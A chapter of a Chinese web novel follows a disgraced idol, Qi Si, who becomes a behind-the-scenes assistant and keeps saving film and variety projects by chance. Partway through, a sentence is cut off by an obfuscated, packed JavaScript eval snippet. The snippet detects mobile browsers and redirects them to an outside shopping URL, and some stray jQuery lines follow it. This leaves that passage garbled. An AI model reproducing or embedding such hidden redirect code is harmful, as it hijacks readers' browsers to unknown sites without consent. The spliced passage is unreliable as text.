武道世界最后一缕灵气从指尖散开，系统机械的提示音在脑海里炸开：“任务完成。积分结算中——宿主即将被抽离当前世界。”


    视线一黑，再睁眼，天地已经换了个画风。


    刺眼的冷白色灯光从头顶砸下来，几十盏摇头灯和顶灯架在空中交错，金属支架反着冰冷的光。脚边是一条银灰色的轨道车道，滑轮压过铁轨发出“咔嗒咔嗒”的声响，一台装着电影机的轨道车被人推着从他面前掠过，摄影机侧面贴着“B机-03”的标签。


    “收音杆小心点！别进主机位！”有人在前方吼。


    一根长长的收音杆从灯光缝隙里探下来，毛茸茸的防风罩几乎要扫到齐司的头发。他下意识侧了一步，脚踩到地上的荧光贴——那是演员走位标记，红色写着“女一-情绪爆点”。


    “喂，你谁啊？站这儿挡机位呢。”一个戴耳麦的小场务一边夹着对讲机，一边冲他招手，“新来的临时助理？去那边帮编务把剧本递一下，导演等着改词。”


    齐司低头，看了眼自己身上——黑T恤、牛仔裤、不知什么时候多出来的工作证挂绳，上面印着某影视城LOGO，姓名一栏空白，只写着“编务/助理”。


    系统的声音已经消失，取而代之的是裤兜里手机震动个不停。


    他掏出来一看，屏幕上跳出一连串推送：


    【震惊！某选秀出道新人拍戏耍大牌被雪藏？】


    【独家：新人演员齐司违约在先，公司正式解约声明】


    【#失格新人演员# 冲上热搜，业内人士：这种人不配进组】


    下面是经纪公司的长文公告，措辞冷硬，配图还是他在某个发布会上微笑的照片，被P上了一个大大的“解约”红章。


    齐司看了两秒，手指往下一滑，又看到几个营销号的跟风嘲讽，评论区里骂声一片。


    他“哦”了一声，把手机锁屏，随手塞回兜里，表情平静得像在看天气预报。


    雪藏、解约、全网嘲。


    挺好。


    正好不用再上镜了。


    “喂喂喂，小兄弟，发什么呆呢？”刚才那个场务已经把他半推半拽往摄影棚里带，“这场情绪戏，编剧刚飞了新稿，编务那边人手不够，你先帮忙把女一、男二的本子按机位顺序摆好，别摆错了，导演最烦这个。”


    摄影棚内，喷雾机正在打雾，白色水汽在灯光下形成一层薄薄的光晕，营造出所谓“电影感”。三台摄影机一字排开，机位编号用白胶带贴在三脚架腿上：A-主机，B-侧反，C-情绪特写。


    监视器前，导演戴着棒球帽，盯着屏幕里跳帧的画面，画面右上角时间码在飞快跳动，偶尔有一两帧闪黑，他皱眉骂了句：“谁又动线了？！”


    一旁的副导演拿着场记板，正对着镜头喊：“第十八场，第三十七条，A、B、C机同时——预备——”


    后台走廊里，化妆师举着粉扑跟着演员小跑补妆，粉尘在空气里飘，女一边抿唇边对着助理伸手：“口红，刚才那个色号。”灯光师在一侧调色温，嘴里念叨：“这场要偏冷一点，给她脸上压点阴影。”


    有人把一叠厚厚的剧本塞到齐司怀里：“新来的？先帮我把第十八场、第十九场拆出来，按角色分好，等会儿演员一喊就递，别递错。”


    齐司低头，看着手里被翻得起毛边的剧本，纸张边缘被不同颜色的荧光笔划得乱七八糟，角色名旁边贴着便签，写着“情绪+3”“哭到哽咽”“眼神空掉”。


    他轻轻呼出一口气。


    行吧。


    既然这具身体已经被娱乐圈判了死刑，那就顺势退圈，当个幕后小助理，递递剧本、打打杂，下班回家睡觉。


    齐司把那一叠剧本抱在怀里，靠着墙，顺着便签找第十八、十九场。


    纸张翻动的沙沙声被走廊尽头的“预备——开始！”盖过去，震得灯管微微嗡鸣。监视器那边传来导演压着嗓子的吼：“停停停——女三，你这句台词别背书啊，情绪呢？”


    女三从机位前走回来，踩着高跟鞋，脸上的粉底在棚灯下有点浮，她一边扯开假哭的双眼皮胶，一边冲副导演抱怨：“这台词谁写的啊？‘我早就知道你不会回头’，谁现实里这么说话？我说不出口啊。”


    副导演翻本子翻得急，指尖都带着汗：“就这一页，你们昨天不是对过吗？你跟编剧说去，我这也改不了。”


    编剧正好从走廊那头匆匆赶来，耳机线拖在身后，手里还捏着没喝完的美式，眼下青黑：“又怎么了？”


    女三把剧本翻到那一页，指节戳得纸都皱了：“就这段，太假了，我演不出来。”


    编剧皱眉接过，盯着那一段标了红线的台词，嘴里小声念：“‘我早就知道你不会回头’……‘你从来都只看得见你自己’……这挺正常的啊。”


    “正常个鬼。”女三翻白眼，“我现实里吵架才不会这么说，我肯定是直接骂他渣男，或者干脆不说话，冷着脸走人。”


    编剧抬头：“那你说你会怎么说？”


    女三张了张嘴，愣住：“我也不知道，反正不是这样。”


    走廊里一时间有点僵。


    副导演看着监视器那边等着的导演，压力山大：“要不你们先拍别的？”


    导演的声音从对讲机里炸出来：“别的也卡，男二那场也说台词别扭。你们编剧组赶紧给我想办法，今天这两场不过，我就不上机位了。”


    编剧揉了揉太阳穴，视线下意识扫了一圈，落在一旁抱着剧本的齐司身上。


    “你是新来的？”他盯着齐司怀里的本子，“你手里那本是最新改好的？”


    齐司被点名，抬眼：“嗯。”


    编剧伸手：“借我看一下第十八场。”


    齐司把那一叠抽出一页递过去，动作很顺，手指在纸边停了一下，视线扫过那段被红笔圈得乱七八糟的台词。


    “我早就知道你不会回头。”


    “你从来都只看得见你自己。”


    “你以为你是英雄，其实你就是个懦夫。”


    标注：情绪+3，哭到哽咽。


    他看了两秒，随口说：“你这句太直给了，像在念总结陈词。”


    编剧愣了一下：“啊？”


    齐司把本子往上一托，指尖点在那行字上，语气很平：“她要的是体面，不是控诉。你让她别说‘我早就知道你不会回头’，改成——”


    他想了想，眼神有点发散，明显是在想着怎么快点解决好回去睡觉：“改成‘你就当今天没来过吧’，后面那句‘你从来都只看得见你自己’太重了，容易演成吵架。换成‘你别再联系我了，我会当你已经死了’，别写‘懦夫’，太戏剧化。”


    编剧下意识把他的话记在手机备忘录里，指尖飞快：“‘你就当今天没来过吧’……‘你别再联系我了，我会当你已经死了’……行吗？这不更狠？”


    “狠就对了。”齐司把那页又塞回自己那叠，准备继续拆本，“她嘴上要体面，心里要报复，这样演员好演。”


    女三在旁边听得眼睛一亮：“哎，这个我会说，这个我会说！”


    编剧回过神来，抓起对讲机：“导演，我这边改了一版台词，你听一下——”


    他对着话筒念了一遍。


    监视器那边沉默了两秒，导演的声音带着点兴奋：“可以，这个有劲儿。女三，你按这个来一条，情绪别太满，前半段冷一点，后面那句‘我会当你已经死了’的时候给我一个眼神爆点。”


    女三立刻把刚才那页台词用笔划掉，旁边写上新台词，嘴里小声试：“你就当今天没来过吧……你别再联系我了，我会当你已经死了……”


    她对着空气演了一遍，眼神从克制到崩塌，连自己都起了一身鸡皮疙瘩：“哎，这个真顺。”


    副导演冲齐司竖了个大拇指：“新来的挺有感觉啊。”


    齐司：“……”


    他只是想快点让他们别堵在走廊。


    场内重新打板。


    棚里灯光一瞬间压暗，顶灯降到四千五百色温，偏冷，女三脸上的阴影被灯光师刻意拉重，眼下那一点暗青在镜头里变成疲惫。


    摄影机推轨，轨道车轻轻滑动，镜头从男主背影绕到女三侧脸，收音师举着杆麦，麦头离她嘴巴二十公分，刚好卡在镜头外。


    “Action——”


    女三站在门口，手指捏着包带，指节泛白，眼睛却很平静。


    “你就当今天没来过吧。”


    她的声音很轻，尾音有一点抖，像是压着气。


    男主愣了一下：“你什么意思？”


    女三抬眼看他，眼眶一点点红起来：“你别再联系我了，我会当你已经死了。”


    最后那个“死”字落下去的时候，她眼神突然空了一瞬，像是把什么东西从心里掐断。


    监视器前，导演猛地坐直，手里的保温杯差点掉地上：“靠，这个可以！收！”


    “咔——”


    棚里灯光一亮，现场一片安静，紧接着，副导演第一个拍手：“好！”


    女三喘了口气，眼角的泪还挂着，转头看向走廊那边的齐司，眼神里带着点惊讶：“刚才那句是谁改的？”


    编剧顺着她的视线看过去，也愣了一下：“就是他，新来的。”


    女三直接踩着高跟鞋走到齐司面前，粉扑还没来得及补，脸上带着刚才的情绪：“你以前是演员吗？你太懂了。”


    齐司抱着剧本，往后靠了靠：“不是，我就是递本的。”


    “递本的能改出这种台词？”编剧嘴角抽了一下，眼里却亮了，“你刚才那逻辑——嘴上体面，心里报复——这就是人物的底层动机啊，你学过戏剧结构？”


    “没学。”齐司说，“随便说的。”


    编剧盯着他两秒，像是看到了什么珍稀物种：“你叫什么？”


    “齐司。”


    “行，齐司，你以后在组里就跟着我混。”编剧当场拍板，“有台词不顺的，你先看一眼。”


    齐司：“我只是临时来打工的——”


    话没说完，对讲机又响了：“编剧，男二那场也改一下，刚才你说的那新台词感觉对，顺便帮男二那句‘我对你没有爱了’也调调，太土了。”


    编剧立刻回头：“等一下，我带人过去。”


    他一把抓住齐司手里的本子：“走，齐司，一起。”


    齐司被拽着往棚里走，脚下的地胶被灯光烤得有点发黏，空气里是热机位散出来的金属味和粉底的香味。


    他心里默默叹气。


    下班时间，又往后推了。


    ……


    下午三点，摄影棚另一侧。


    机位突然黑屏。


    “卡机了卡机了！”摄影助理一边拍机身一边喊，“刚才那条没录进去！”


    导演整个人从监视器前弹起来：“你跟我说没录进去？那是刚才最顺的一条！”


    摄影师脸色发白，低头看机背屏幕，回放界面一片雪花，时间码跳得乱七八糟：“刚才中间跳帧了，可能是卡的问题。”


    制片人从一堆监视器后面探出头，脸色比他们还难看：“这场戏搭景搭了一天，你跟我说没了？”


    灯光师在一旁关灯，棚里一下暗下来，只剩下机位上的小红灯在闪，像是在嘲笑。


    “先别慌。”摄影师把存储卡拔出来，插到旁边的笔记本电脑上，屏幕上跳出一串文件名，刚才那一条的缩略图灰着，点进去，画面一顿一顿的，人物动作像鬼畜，曝光还在乱跳。


    “完了。”摄影助理声音发干，“这条废了。”


    导演捂着额头：“重拍。”


    “重拍也行。”制片人咬牙，“灯光再调一次。”


    灯光师刚要去拉灯，制片人手机突然震了一下，他低头一看，脸色更难看了：“平台那边催素材了，说今晚要看粗剪。”


    导演：“……”


    一片沉默里，齐司抱着剧本，从另一侧走过来，准备去拿水。


    摄影助理一抬头，正好看见他：“哎，新来的，你会不会用这个？”他指着电脑旁边那台灰尘不多的备份工作站，“这玩意儿老是死机，我不敢乱动。”


    齐司停下脚步，看了一眼那台工作站，机箱上贴着“D-IT”标签，旁边连着读卡器和一块监视器，屏幕上是一个简单的素材管理软件界面，右下角红色的“错误”提示在闪。


    “你就帮我点一下恢复看看。”摄影助理有点慌，“万一能救回来呢。”


    齐司不太想掺和，但对方眼神实在太绝望，他只好走过去，蹲下身，看了一眼界面。


    错误提示：帧率异常，曝光数据丢失。


    他随手点了两下设置，把“自动修复曝光曲线”和“补帧”两个选项勾上，又点了“重新生成代理文件”。


    进度条开始走，蓝色的条一点点往前，CPU风扇呼呼转。


    “这能行吗？”摄影助理紧张得手心都是汗。


    “试试吧。”齐司站起身，“不行就重拍。”


    话音刚落，进度条跳到百分之百，软件自动弹出一个新窗口，预览画面开始播放。


    原本跳帧的镜头被自动补齐，人物动作流畅，曝光从一开始的有点过曝被算法压了下来，背景灯箱的高光被拉回，人物脸上的层次清晰，眼睛里那一点反光像是多了一层情绪。


    导演被那一声“叮”吸引过来，探头看了一眼，整个人愣住：“这是刚才那条？”


    摄影师也凑过来，盯着屏幕：“不对啊，我们刚才拍的时候没这么好看。”


    镜头里，男主从光里走出来，背后是被打散的顶灯光斑，镜头轻轻跟着他移动，原本因为曝光不稳而忽明忽暗的背景，现在被自动修成了一个缓慢的亮度过渡，像是有人专门做了灯光设计。


    他停在女主面前，眼神从迷茫到坚定，整个过程被补帧算法拉得顺滑，连呼吸都像是被剪辑过的节奏。


    “这光感……”灯光师盯着屏幕，嘴里嘟囔，“我刚才没打这么细啊。”


    摄影师把画面拉到百分之二百，看细节，男主眼角那一小块阴影刚好勾出轮廓，鼻梁上的高光不抢戏，女主侧脸被一圈柔光包着，像是高级香水广告。


    “这已经是成片质感了。”导演喃喃，“谁动的？”


    摄影助理立刻指向齐司：“他，他刚才点了两下。”


    所有视线齐刷刷落在齐司身上。


    齐司被看得有点莫名：“我就勾了两个选项。”


    “你知道这两个选项平时没人敢乱勾吗？”摄影师声音都有点抖，“自动修曝光会把我们灯光师的设计全毁了，补帧容易出鬼影，你这两个一起开，正常是灾难。”


    灯光师却盯着屏幕，眼睛发亮：“但现在是神。”


    导演当场拍板：“这条就用这个版本，今晚粗剪直接按这个来。”


    制片人松了口气，转头对齐司：“你以后别递本了，跟着D-IT那边坐。”


    齐司：“我不太会——”


    “你刚才那两下就值一个技术总监。”制片人打断他，“工资翻三倍。”


    齐司张了张嘴，想到还没到手的房租，沉默了两秒：“那能早点下班吗？”


    制片人一愣，随即笑出声：“你要是每次都能把这种废素材救成这样，你想几点走几点走。”


    ……


    晚上十点，平台内容部会议室。


    投影幕布上，刚才那场戏的粗剪在循环播放，画面上方的时间码在跳，右下角是平台内部审片系统的LOGO。


    内容总监靠在椅背上，手指敲着桌面，眼睛却没离开画面：“这是谁剪的？节奏这么准？”


    运营总监在旁边翻资料：“不是成片剪辑，是现场D-IT那边自动生成的代理。”


    “自动？”内容总监挑眉，“现在自动都这么懂情绪了吗？”


    画面里，女三那句“你就当今天没来过吧”被剪在一个干净的反打镜头上，前面是男主的背影，后面是她的正脸，剪辑点刚好卡在她抬眼的那一刻，观众的视线被带着一起抬起来。


    紧接着那句“你别再联系我了，我会当你已经死了”，剪辑师没有切近景，而是留在中景，让她的身体微微晃了一下，显得更真实。


    “这台词谁改的？”内容总监问。


    运营总监翻到一页备注：“现场临时改的，好像是一个新来的场务，叫……齐司。”


    内容总监停了一下，嘴角勾起来：“又是他？”


    运营总监愣住：“你认识？”


    “上个月那个快要黄掉的综艺，不是因为一个素人嘉宾临时说了几句，就把话题拉回来了？”内容总监把资料往前推，“那个素人，后来查了，是个临时编务，名字也叫齐司。”


    运营总监翻了翻手机，调出内部舆情监控系统，屏幕上是一串热搜关键词曲线。


    “你看。”内容总监指着那条突然拔高的红线，“那期播出后，‘齐司’这个名字在弹幕和评论区的出现频率，从零直接冲到百分之二十。观众在剪辑里根本没看到他的人，但都在问‘那个说话的编务是谁’。”


    运营总监皱眉：“这不就是个幕后？”


    “幕后能连续踩中风口？”内容总监笑了一声，点开另一个文件夹，“还有，上周那个被我们内部判死刑的网剧项目，《夜行者》。”


    投影切换，变成一份项目报表，原本一片红色的“预警”标签，在最新一列变成了绿色的“爆款潜力”。


    “不是说要砍掉了吗？”运营总监惊讶，“怎么又起死回生了？”


    “因为他们组突然换了一个临时编务。”内容总监指着备注，“名字，还是齐司。”


    运营总监沉默了两秒：“你是说，他是风口？”


    “我不信玄学。”内容总监合上文件，“但数据不会骗人。只要他出现，项目的完播率、讨论度、转化率，全部抬头。”


    他站起身，走到窗边，看着外面楼宇上的LED广告屏，一条条预告片在轮播，色彩在夜里炸开。


    “给投资部发个邮件。”内容总监说，“以后凡是带‘齐司’这个名字的项目，优先排期，优先资源。”


    运营总监吸了口气：“这也太——”


    “这是风控。”内容总监打断他，“我们不需要他红，我们只需要他在。”


    ……


    与此同时，城西一栋老小区里。


    齐司拎着便利店的塑料袋，上楼，楼道里昏黄的感应灯一闪一闪，墙皮掉了一块，露出里面的水泥。


    他把钥匙插进锁孔，门一开，屋里一片黑。


    手机屏幕亮着，系统的界面在上面跳出一行字：


    【支线任务完成：临时救场·剧本调整】


    【隐藏成就解锁：镜头成神·技术救援】


    【当前世界影响力指数：27%】


    齐司用肩膀夹着手机，一边换鞋一边看：“影响力指数是什么鬼？”


    系统的声音淡淡的：【与本世界娱乐工业的结构绑定程度。】


    “我不想绑定。”齐司把塑料袋放进冰箱，里面是两罐啤酒和一盒打折寿司，“我只想下班。”


    【你已经下班。】系统很诚恳，【但他们没有。】


    齐司关上冰箱门，屋里只剩下冰箱压缩机低低的嗡鸣。


    他没再理系统，打开电视，随手切到一个娱乐新闻频道。


    屏幕上，正在播今天那部剧的路透，女三那场戏的片段被剪成了预告，字幕条上打着：“一句台词，刺痛所有人的分手回忆。”


    弹幕飞过：“这台词谁写的？”“好真实”“我前任就这么跟我说的。”


    右下角的微博热搜小窗口里，“你就当今天没来过吧”已经挂在第七位，后面跟着一个小火苗。


    齐司看了两秒，拿起遥控器，换台。


    ……


    第二天一早。


    《夜行者》项目组会议室。


    长桌上摊着一堆预算表和进度表，墙上的白板写满了“资金断档”“演员档期冲突”“平台降级排期”等一串让人头大的词。


    制片人揉着眉心：“说实话，这项目就差一口气了。平台那边已经把我们从S级降到B级，宣传预算砍了一半，投资方也在犹豫要不要撤。”


    导演抽着烟，烟雾在会议室的冷光灯下散开：“我不想烂尾，哪怕赔钱，我也想把故事讲完。”


    “讲完谁看？”投资代表翻着手机，“现在同档期有三个大IP，你们这个原创刑侦，题材又冷，演员也不算顶流，数据预估太难看了。”


    门被推开，执行制片探头进来：“那个……你们要的临时编务到了。”


    一个人影被他让进来，怀里抱着笔记本和一叠空白分场纸。


    齐司站在门口，看着会议室里一圈人的目光刷地落在自己身上。


    导演愣了一下：“你怎么是你？”


    齐司也愣：“你怎么也在这？”


    这是昨天那部剧的导演。


    执行制片赶紧介绍：“齐司，昨天救场那个。我们这边缺人，就把他借


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939317|192918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过来了。”


    投资代表抬头，眼神一亮：“齐司？就是那个？”


    他立刻打开手机，点进一个内部群，群名叫【项目风控·风口监测】，最新一条消息赫然写着：


    【提醒：凡项目成员名单出现“齐司”者，标记为“潜在风口”，建议追加投资或延长观察期。】


    投资代表当场把手机拍在桌上：“追加三百万。”


    制片人一愣：“你疯了？你昨天还说要撤资。”


    “现在不撤了。”投资代表笑得很客气，“我再跟平台沟通一下排期，看看能不能往前挪一挪。”


    导演和制片人对视一眼，都有点懵。


    齐司站在门口，怀里的分场纸还没放下：“我就是来打工的，你们继续。”


    导演回过神来，立刻起身把他拉到自己旁边坐下：“你不是打工，你是我们这项目的救命稻草。”


    会议室的冷光灯在他头顶亮着，投影仪的光打在白板上，反射到齐司脸上，让他看起来像是被什么无形的聚光灯照着。


    他低头翻开剧本，心里只想着一件事——


    这次，能不能按点下班。


    ……


    一周后。


    《夜行者》上线前的内部试播会上，平台数据部的监控大屏上，曲线开始出现异动。


    原本预估的开播点击率曲线是平缓的蓝线，现在实际数据是一条突然拔高的红线，从零点开播开始，一路冲破预期上限。


    “这不对。”数据分析师盯着屏幕，“我们没给它多少资源，首页只挂了一个小角标推荐，怎么首小时点击率比隔壁大IP还高？”


    另一个分析师调出弹幕和评论关键词云，屏幕上“台词”“节奏”“真实”“上头”几个词被放大，中心还有一个名字——“齐司”。


    “观众怎么知道他的？”分析师困惑，“他又没出现在片头片尾。”


    运营部的人在旁边冷笑一声：“你以为观众傻？他们一集集看下来，能感觉到哪几场戏突然变得好看，哪几集节奏突然顺了。有人扒制作名单，发现从第七集开始，编务多了一个名字——齐司。”


    数据部主管看着那条一路往上的红线，眼神复杂：“以后项目名单里有他，预估模型要重算。”


    ……


    社交平台上，《夜行者》相关话题下，网友们在疯狂刷屏。


    “第九集那场审讯戏谁写的？太牛了吧。”


    “从女配说‘你就当今天没来过吧’那部剧开始，我就注意到这个名字了。”


    “求出道！求采访！求幕后特辑！”


    有人扒出一张模糊的片场路透，画面里，一个穿着普通T恤的男人抱着一叠剧本，从机位后面走过，脸被灯光打得有点过曝，看不清，只能看到侧脸线条。


    【这就是齐司？】


    评论区里，一片“求更多”。


    ……


    行业内部的风向，比外界更快。


    某个制片人群里，消息刷得飞快。


    【听说了吗？《夜行者》起飞了。】


    【不是说要烂尾的吗？】


    【后来加了个临时编务，叫齐司。】


    【又是他？我前两天开会，平台内容总监专门提了这个名字。】


    【投资部那边现在有个不成文规定：项目名单里有齐司，优先排队送钱。】


    【真的假的？】


    【你去问问上周那个被砍预算的古偶，他们临时把他挖过去做剧本统筹，结果预算又给加回来了。】


    有人发了一张内部流传的PPT截图，上面写着：


    【行业共识（非正式）：齐司 = 风口捕捉体质】


    【参与项目 = 成功概率显著提升】


    【建议：尽可能争取其参与，哪怕挂名。】


    ……


    某顶流工作室。


    化妆间里，顶流男星坐在镜前，妆发师在他头上喷定型喷雾，镜子两侧的灯泡一排排亮着，把他脸上的每一处轮廓都照得清清楚楚。


    经纪人拿着平板，翻着新剧本：“这个刑侦剧，平台S+，导演是老戏骨，女主是一线，你要不要接？”


    男星懒洋洋地靠在椅背上：“编剧谁？”


    “编剧是——”经纪人翻到后面，“总编剧A，联合编剧B、C、D……”


    “有齐司吗？”男星打断。


    经纪人愣了一下：“没有。”


    男星立刻摇头：“那先放着。”


    经纪人哭笑不得：“你现在挑本子挑到看编务名字了？”


    男星看着镜子里的自己，嘴角勾了一下：“你不懂。只要他在，台词就不会太烂，人物就不会太蠢，我就不用在镜头前自己救场。”


    经纪人翻出另一份项目资料：“那这个？平台B级，但投资方是新起的资本，给得多。编务名单里有一个齐司。”


    男星眼睛一亮：“这个接。”


    经纪人：“……”


    “你疯了？你放着S+不接，接一个B级？”


    “B级可以拍着玩。”男星笑得很轻松，“反正有他在，最后不一定是B级。”


    ……


    几乎在同一时间，几个大导演的私人微信里，弹出同一个名字。


    【听说你最近组里有个叫齐司的？借我用用。】


    【我新片还差一个剧本统筹，给他挂个联合编剧。】


    【我综艺要改赛制，让他来做顾问。】


    他们互相抢人，语气看似客气，实则暗暗较劲。


    而资本那边，更干脆。


    某基金的投资会议室里，投影上是一张张项目表，每个项目后面都有一串参数：题材、主演、导演、平台、制作公司、风险等级。


    新来的分析师举手：“我有个问题。为什么这个项目所有参数都一般，主演也不算头部，却被标成了‘重点关注’？”


    投资总监把笔在桌上敲了敲：“因为名单里有齐司。”


    分析师愣住：“就因为一个编务？”


    “不是编务。”投资总监纠正，“是风向标。”


    他指着屏幕下方一行小字：“内部评估：齐司参与 = 项目成功概率+30%。这比我们任何一个流量主演的加成都高。”


    ……


    而这一切的中心人物，此刻正坐在某个综艺棚的角落里，戴着耳机，对着一台剪辑机，帮后期挑笑点。


    监视器上，嘉宾们在台上做游戏，灯光打得五彩斑斓，观众席的荧光棒一片晃动，收音轨里夹杂着笑声和尖叫。


    导演站在他身后，紧张地看着时间：“这期今晚就要交母带，你看看哪里能再抬一下节奏。”


    齐司拖动时间轴，随手在两个镜头之间加了一个0.3秒的反应镜头，把一个嘉宾翻车的表情放大了一帧。


    画面一过，笑点突然变得特别精准。


    导演眼睛一亮：“就这个！你这个点太准了。”


    齐司摘下一只耳机：“我改完这段就走。”


    “走？”导演一愣，“你去哪？”


    “回家。”齐司说，“下班。”


    导演张了张嘴，想说“再帮我看一段”，但想到外面还有两个制片人在等着抢人，立刻怂了：“那你先走，明天……明天我给你发新项目资料，你帮我看看剧本。”


    齐司没答应，只是“嗯”了一声，关掉剪辑软件，起身离开。


    他走过后台长廊，灯光从头顶一盏盏掠过，墙上贴着各种节目的海报，每一张上面都写着“爆款”“破圈”“现象级”。


    手机在口袋里震了一下。


    系统弹出提示：


    【主线任务进度：70%】


    【当前世界娱乐工业对宿主的依赖度：高】


    【行业共识：只要齐司参与，项目必成。】


    【宿主当前身份：隐形庄家（未觉察）】


    齐司一边走，一边低头看了一眼，眉头皱了皱：“什么庄家？”


    系统很冷静：【你参与的项目，已在无形中左右行业趋势。】


    “我就想按点下班。”齐司推开侧门，外面的夜风带着一点潮气扑过来，霓虹灯的光从远处楼顶打过来，在地上拖出一片斑驳的色块。


    【你可以继续下班。】系统说，【他们会自己来找你。】


    齐司把手机塞回口袋，拉上外套拉链，朝地铁站走去。


    身后，综艺棚的LED大屏上，正在滚动今晚节目的预告。


    “本期看点：史上最狠一句分手台词现场复刻。”


    弹幕预告区里，“你就当今天没来过吧”那句台词，又一次被刷成了屏。


    后台走廊的灯是冷白色，灯管一节一节往前延伸，空气里混着发热设备的塑料味和咖啡因的酸苦。


    齐司刚拐进转角，就被人一把拦住。


    “齐老师！”


    是刚才那档情感综艺里的女嘉宾，卸了妆，眼线没擦干净，眼尾还有一点晕开的黑，抱着一叠纸质剧本，呼吸都有点乱。


    “我不是老师。”齐司下意识纠正。


    “您、您帮我看一眼吧。”她把剧本往前一递，纸角被她捏得起了毛边，“就是这场戏，我怎么演都不对劲，导演说我台词太假，让我自己回去琢磨……”


    纸张在冷气里微微卷起，顶上的灯打下来，剧本上的字有点反光。齐司低头看了一眼，是隔壁棚正在拍的一部都市情感剧，临时借了这边的后台做妆发。


    那页剧本上，女主和男主吵架，台词密密麻麻，标了好几种情绪走向，旁边还有她自己写的注释：“此处哭”“此处提高音量”。


    “你就当今天没来过吧”那句被她用红笔圈了三圈，旁边写着“爆点”。


    “导演说要有综艺里那种感觉。”她有点局促，“可我照着那句学，总觉得很用力。”


    齐司本来打算说“你问导演”，但她眼睛里那种抓着救命稻草的劲儿，让他懒得解释。


    他把那页抽出来，手指在台词上停了停：“你这场戏，前面吵得太满了，后面这句就没空间了。”


    “啊？”


    “你把前面几句删掉。”他随手在纸上划了几道，把“你到底爱不爱我”“你从来没把我放在心上”之类的台词全部划掉，只留下三句，“你今天为什么来”“你想要什么”“那你走吧”。


    “你前面别哭，别吼。”齐司把纸折了一下，折痕压得很直，“就平平地问，像聊天。最后这句——”


    他在空白处写了一行字：“你以后别再为我难过了。”